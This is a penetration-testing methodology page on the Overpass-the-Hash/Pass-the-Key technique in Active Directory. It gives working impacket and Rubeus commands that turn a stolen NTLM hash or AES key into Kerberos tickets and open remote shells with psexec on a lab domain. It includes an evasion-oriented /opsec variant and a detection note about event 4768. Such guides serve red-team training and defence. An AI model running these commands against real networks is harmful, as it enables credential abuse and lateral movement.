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hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
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Over Pass the Hash/Pass the Key

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Overpass The Hash/Pass The Key (PTK)

This attack aims to use the user NTLM hash or AES keys to request Kerberos tickets, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially useful in networks where NTLM protocol is disabled and only Kerberos is allowed as authentication protocol.

In order to perform this attack, the NTLM hash (or password) of the target user account is needed. Thus, once a user hash is obtained, a TGT can be requested for that account. Finally, it is possible to access any service or machine where the user account has permissions.

python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

You can specify -aesKey [AES key] to specify to use AES256.
You can also use the ticket with other tools like: as smbexec.py or wmiexec.py

Possible problems:

  • PyAsn1Error(‘NamedTypes can cast only scalar values’,) : Resolved by updating impacket to the lastest version.
  • KDC can’t found the name : Resolved by using the hostname instead of the IP address, because it was not recognized by Kerberos KDC.
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

This kind of attack is similar to Pass the Key, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner.

{% hint style="warning" %} When a TGT is requested, event 4768: A Kerberos authentication ticket (TGT) was requested is generated. You can see from the output above that the KeyType is RC4-HMAC (0x17), but the default type for Windows is now AES256 (0x12). {% endhint %}

.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
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